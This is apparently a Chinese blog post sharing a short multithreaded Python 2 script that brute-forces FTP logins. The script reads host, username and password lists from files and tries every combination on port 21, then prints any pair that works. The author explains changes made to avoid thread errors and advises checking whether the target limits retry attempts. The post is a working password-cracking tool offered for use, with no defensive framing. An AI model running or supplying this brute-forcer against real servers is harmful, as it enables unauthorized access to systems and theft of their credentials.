根据网上现有的进行小改。需要提供host,user,pass字典。然后根据字典进行爆破
原型是没个密码都启动一个新线程数,我这里会报错,如下提示无法启动新线程
thread.error: can’t start new thread
后我改成用户和密码都放着线程内。只根据host个数来启动,如果host数目过多。
可能还会报错。具体多少没测。
使用前,需自行判断FTP是否对重试连接数有限制。
因为这ftplib库我一直不知道怎么取出错误状态码来判断。
PYTHON源码
代码很简单,请勿拍砖
- #!usr/bin/env python
- #!coding=utf-8
-
- from ftplib import FTP
- import ftplib
- import threading
-
- def Login(host):
- print '破解主机:' + host
- user=open('namelist.txt')
- for line in user:
- user=line.strip('\n')
- print '破解用户:' + user
- pwd=open('password.lst','r')
- for line in pwd:
- pwd=line.strip('\n')
- print '==>' + pwd
- ftp=FTP()
- try:
- ftp.connect(host,21,1)
- ftp.login(user,pwd)
-
- ftp.retrlines('LIST')
- ftp.quit()
- print '破解成功,用户名:' + user +',密码:' + pwd + ',IP:'+ host
- return True
- except ftplib.all_errors:
- pass
-
- host=open('host.txt')
- for line in host:
- host=line.strip('\n')
- t=threading.Thread(target=Login, args=(host,))
- t.start()
软件流程如下:
1,读取host.txt文件,遍历
2,启动线程调用login方法传入需爆破的主机
3,login根据传入的主机读取 user,pass,对主机FTP登录。错误跳过,直到成功